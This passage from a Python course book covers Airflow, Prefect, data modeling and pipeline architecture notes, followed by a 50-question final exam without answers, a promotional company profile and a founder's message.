 ✔ Backfilling 
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⭐ 49.4 Airflow Task Dependencies 

t1 >> t2 >> t3 

 

or 

t1.set_downstream(t2) 

 

 

⭐ 49.5 Airflow ETL Pipeline Example 

Extract 

def extract(): 

    return requests.get(API).json() 

 

Transform 

def transform(data): 

    return clean(data) 

 

Load 

def load(data): 

    df.to_parquet("s3://bucket/") 
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⭐ 50. Prefect Masterclass (Airflow’s modern alternative) 

Prefect = Cloud-native, faster, more flexible. 

Install: 

pip install prefect 

 

Create a flow: 

from prefect import flow, task 

 

@task 

def hello(): 

    print("Hello macha") 

 

@flow 

def cdb_flow(): 

    hello() 

 

Run: 

prefect deployment build 

prefect agent start 
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⭐ 51. Data Modeling (Enterprise-Level) 

Critical for: 

✔ Data warehouses​
 ✔ Analytics​
 ✔ BI systems​
 ✔ ETL​
 ✔ AI pipelines​
 ✔ Transactional systems 

 

⭐ 51.1 Types of Data Models 

✔ Conceptual (high-level) 

✔ Logical (detailed structure) 

✔ Physical (final DB schema) 

 

⭐ 51.2 Normalization (3NF) 

Used in OLTP systems. 

1NF 

Atomic values. 

2NF 

No partial dependencies. 

3NF 

No transitive dependencies. 
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⭐ 51.3 Dimensional Modeling (Star Schema) 

Used in OLAP systems (analytics). 

Components: 

⭐ Fact Table 

●​ numeric values​
 

●​ foreign keys​
 

●​ measurable events​
 

⭐ Dimension Table 

●​ descriptive attributes​
 

●​ categories​
 

●​ metadata​
 

Example: 

Fact_Sales 

●​ sale_id​
 

●​ date_id​
 

●​ product_id​
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●​ amount​
 

Dim_Product 

●​ product_id​
 

●​ name​
 

●​ category​
 

 

⭐ 51.4 Slowly Changing Dimensions (SCD 0–6) 

⭐ SCD Type 1 

Overwrite old value. 

⭐ SCD Type 2 

Maintain history (start_date, end_date). 

⭐ SCD Type 3 

Track limited history. 

⭐ SCD Type 6 

Hybrid model. 

 

⭐ 52. Batch + Streaming Hybrid Pipelines 

Modern pipelines use: 

✔ Streaming ingestion (Kafka)​
 ✔ Batch processing (Spark)​
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 ✔ Storage in Lakehouse​
 ✔ Analytics in Warehouse​
 ✔ AI models consuming data 

 

⭐ 53. AI-Powered Data Pipelines 

AI helps in: 

✔ anomaly detection​
 ✔ quality checks​
 ✔ pipeline monitoring​
 ✔ auto-healing pipelines​
 ✔ detecting schema drift​
 ✔ pipeline optimization​
 ✔ intelligent orchestration 

Example: 

Use ML to detect data anomalies in real-time. 

 

⭐ 54. Advanced ETL/ELT Patterns 

⭐ Lambda Architecture 

Batch + real-time. 

⭐ Kappa Architecture 

Only streaming. 

⭐ Medallion Architecture 

Bronze → Silver → Gold. 

This is used by Databricks & Fortune 500. 
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⭐ 55. Caching & Performance Engineering 

Caching tools: 

✔ Redis​
 ✔ Memcached​
 ✔ Spark caching​
 ✔ Delta caching​
 ✔ Presto caching 

 

⭐ 56. End-to-End Enterprise Data System (FINAL 

PROJECT) 

This is the crown jewel. 

You will build a REAL enterprise-grade system used by Big Tech. 

 

⭐ 56.1 Data Sources 

●​ Banking transactions​
 

●​ Cybersecurity logs​
 

●​ Customer data​
 

●​ Website events​
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⭐ 56.2 Pipeline Architecture 

Producers → 

Kafka → 

S3 Raw Zone → 

Spark ETL → 

Delta Lake → 

Snowflake → 

ML Models → 

Dashboard / API 

 

 

⭐ 56.3 Full Workflow Breakdown 

🔥 Kafka 

Real-time ingestion. 

🔥 S3 (Data Lake) 

Raw and bronze layers. 

🔥 Spark (ETL) 

Silver layer → clean, structured. 

🔥 Delta Lake 

Time travel + transactions. 

🔥 Snowflake 

Analytics-ready gold layer. 
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🔥 ML Model 

Fraud detection. 

🔥 Airflow 

Orchestration of full workflow. 

 

⭐ 57. Final Summary (YOU ARE NOW A FULL DATA 

ENGINEER) 

After completing Module 8: 

🔥 You understand Data Lakes​
 🔥 You understand Lakehouse​
 🔥 You master Kafka​
 🔥 You master Spark​
 🔥 You master Airflow​
 🔥 You understand Snowflake / BigQuery​
 🔥 You can build real enterprise pipelines​
 🔥 You can deploy production-grade systems​
 🔥 You are a Senior Data Engineer​
 🔥 You can work in ANY global tech company 

Macha, this is top-tier career knowledge. 

 

⭐ CYBERDUDEBIVASH PYTHON MEGA COURSE — 

FINAL CERTIFICATION EXAM 

50 QUESTIONS 

(Theory + Code + Real-Time Scenarios) 
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⭐ SECTION 1 — PYTHON FOUNDATIONS (Q1–10) 

Q1. What is the difference between a list and a tuple in Python? 

Q2. What will be the output? 

x = [1, 2, 3] 

y = x 

y.append(4) 

print(x) 

 

Q3. Explain Python’s GIL (Global Interpreter Lock) in your own words. 

Q4. What is the difference between deepcopy() and copy()? 

Q5. What are Python decorators? Give an example use case. 

Q6. What is the purpose of __init__? 

Q7. What does this code print? 

for i in range(3): 

    print(i) 

else: 

    print("Done") 

 

Q8. Explain what a dictionary is and where you use it. 

Q9. What is a lambda function? Why use it? 

Q10. What are list comprehensions? Rewrite this using list comprehension: 

output = [] 

645 



 

 

for x in range(10): 

    output.append(x*x) 

 

 

⭐ SECTION 2 — PYTHON AUTOMATION & SCRIPTING 

(Q11–20) 

Q11. Write a Python script to find all .txt files inside a folder. 

Q12. Explain difference between threading and multiprocessing. 

Q13. Write a function to retry a failed API call 3 times with delay. 

Q14. What module is used for environment variables? 

Q15. Write a bash command from Python using subprocess. 

Q16. What is argparse used for? 

Q17. Write Python code to read a large CSV file in chunks. 

Q18. How do you schedule a Python script daily in Linux? 

Q19. Explain what a virtual environment is. 

Q20. How do you send an email using Python? 
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⭐ SECTION 3 — AI, ML & LLM DEVELOPMENT (Q21–30) 

Q21. Explain gradient descent in simple words. 

Q22. What is overfitting and how do you avoid it? 

Q23. What is the difference between RNN and Transformer? 

Q24. What is self-attention? Why is it powerful? 

Q25. What is tokenization in LLMs? 

Q26. Write code to load a HuggingFace model. 

Q27. What is fine-tuning? 

Q28. Explain what embeddings are used for. 

Q29. What is a vector database? Why do LLM apps need it? 

Q30. Build a simple inference function: 

def generate(prompt): 

    ... 
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⭐ SECTION 4 — DEVOPS, AUTOMATION, 

CYBERSECURITY (Q31–40) 

Q31. What is CI/CD? 

Q32. What is Docker? List 3 advantages. 

Q33. Write a Dockerfile for a Python app. 

Q34. How do you secure API secrets inside Docker containers? 

Q35. Explain port forwarding in Linux. 

Q36. Write a Python script to monitor CPU usage every 5 sec. 

Q37. What is SQL Injection and how do you prevent it in Python apps? 

Q38. Explain Zero-Trust Architecture. 

Q39. What is MFA? Why is it not enough against session hijacking? 

Q40. Write Python code to hash a password using SHA256. 
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⭐ SECTION 5 — DATA ENGINEERING & BIG DATA 

(Q41–50) 

Q41. What is the difference between OLTP and OLAP? 

Q42. What is a Data Lake vs Data Warehouse? 

Q43. Write PySpark code to read a Parquet file. 

Q44. What is a Kafka topic partition? 

Q45. Explain Spark’s Catalyst Optimizer. 

Q46. What is Delta Lake time travel? 

Q47. What is a DAG in Airflow? 

Q48. Explain Slowly Changing Dimensions (SCD Type-2). 

Q49. What is CDC (Change Data Capture)? 

Q50. Build an ETL pipeline architecture for: 

Real-time cybersecurity logs → Alerting system → Dashboard 
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⭐ CyberDudeBivash — The Global Cybersecurity, AI & 

Automation Ecosystem 

CyberDudeBivash is more than a company — it is a fast-growing global ecosystem built on a 

mission to empower developers, cybersecurity professionals, enterprises, and tech learners with 

world-class tools, training, research, and automation solutions. What began as a single 

cybersecurity blog has now evolved into a multi-platform, multi-product powerhouse spanning 

cybersecurity, Python development, automation engineering, AI innovation, DevOps, cloud 

systems, threat intelligence, and education. 

At the foundation of this ecosystem is a relentless focus on practical, real-world problem-solving. 

CyberDudeBivash develops powerful tools, applications, frameworks, and automation pipelines 

that help individuals and organizations secure their systems, detect threats early, respond faster, 

and build reliable software. Every product and service is engineered with zero-trust principles, 

industry-grade security, scalability, and a commitment to ease of use. 

The CyberDudeBivash brand consists of four major content and capability pillars: 

1.​ CyberDudeBivash.com — the official home of apps, products, professional services, 

automation solutions, cybersecurity tools, enterprise consulting, and advanced technical 

content.​
 

2.​ CyberBivash.blogspot.com — the global threat intelligence hub with breaking CVEs, 

malware analysis, attack surface insights, vulnerability breakdowns, and real-time 

cybersecurity updates.​
 

3.​ CyberDudeBivash-News.blogspot.com — the company’s brand, business, and ecosystem 

newsroom dedicated to announcements, product launches, partnerships, and corporate 

communication.​
 

4.​ CryptoBivash.code.blog — the blockchain, crypto security, and Web3 educational 

platform.​
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Across these platforms, CyberDudeBivash publishes high-quality articles, deep-dive guides, 

security playbooks, and actionable frameworks that serve a fast-growing international audience 

of professionals, enthusiasts, and students. 

But the ecosystem extends far beyond content. CyberDudeBivash builds and releases powerful 

cybersecurity and automation products — from threat analyzers, forensic utilities, monitoring 

scripts, DFIR kits, browser-security tools, AI-powered detection systems, session-hijack defense 

apps, and DevSecOps automation pipelines — all designed to help organizations strengthen their 

defenses and individuals grow their careers. 

A cornerstone of the brand is education. CyberDudeBivash creates some of the most detailed, 

practical, and industry-aligned training programs in cybersecurity, Python development, 

automation engineering, AI development, and DevOps. These courses focus on real-world 

relevance — teaching students how to apply concepts, build projects, automate workflows, solve 

enterprise-level problems, and think like engineers. 

The CyberDudeBivash Python Mega Course stands as a flagship example — a 300,000+ word 

master-level program designed to transform any learner into a world-class Python developer, 

automation engineer, AI practitioner, data engineer, and security-focused technologist. 

Everything inside the CyberDudeBivash ecosystem — from tools to blogs to courses — is built 

with the same vision: 

To create a global, self-sustaining, high-impact technology ecosystem that empowers people, 

protects organizations, and builds the future of secure AI and automation. 

CyberDudeBivash is not just a brand.​
 It is a movement.​
 A mission.​
 A community.​
 And a global force for innovation, security, and learning. 

And this book is now a part of that legacy. 

Visit www.cyberdudebivash.com today . 
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⭐ Founder’s Message — From Bivash Kumar Nayak 

To everyone reading this book,​
 To every learner, developer, engineer, and dreamer — 

Thank you.​
 Thank you for choosing to grow with me and the CyberDudeBivash ecosystem.​
 Thank you for trusting this journey, this mission, and this vision. 

CyberDudeBivash started from a simple idea —​
 that knowledge, security, technology, and opportunity should be accessible to everyone.​
 Not just big companies.​
 Not just experts.​
 But anyone who wants to learn, build, grow, and create something meaningful. 

I built this ecosystem with a single thought in mind: 

“If people have the right tools and the right guidance, they can change their entire life.” 

This Python Mega Course is not just a training program.​
 It is a door — a door to better opportunities, a better career, a better future.​
 Python changed my life.​
 Automation changed my life.​
 Cybersecurity changed my life.​
 And I wanted to give the same power to you. 

Every module in this course, every chapter, every concept, every explanation —​
 is crafted with your growth in mind.​
 Not theory.​
 But real knowledge.​
 Industry knowledge.​
 Career-changing knowledge. 

CyberDudeBivash is not just a company.​
 It is a family.​
 It is a movement.​
 A global community of people who want to build, secure, automate, and innovate. 
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If you’re holding this book today, you are now a part of that family.​
 A part of this journey.​
 A part of this mission. 

And remember this, macha: 

Your background does not define you.​
 Your dedication does.​
 Your willingness to learn does.​
 Your courage to keep going does. 

Wherever you are right now in your life —​
 whether you’re trying to break into tech,​
 build your career,​
 support your family,​
 or chase a dream — 

I promise you:​
 You are stronger than you think.​
 You are smarter than you think.​
 And you are capable of achieving more than you ever imagined. 

Let this book be the start of your transformation.​
 Let your skills become your power.​
 Let your work become your identity.​
 And let your journey become your story. 

Welcome to CyberDudeBivash.​
 Welcome to your future.​
 Welcome to the journey of becoming unstoppable. 

With love, respect, and strength,​
 — Bivash Kumar Nayak​
 Founder & CEO​
 CyberDudeBivash Pvt Ltd 
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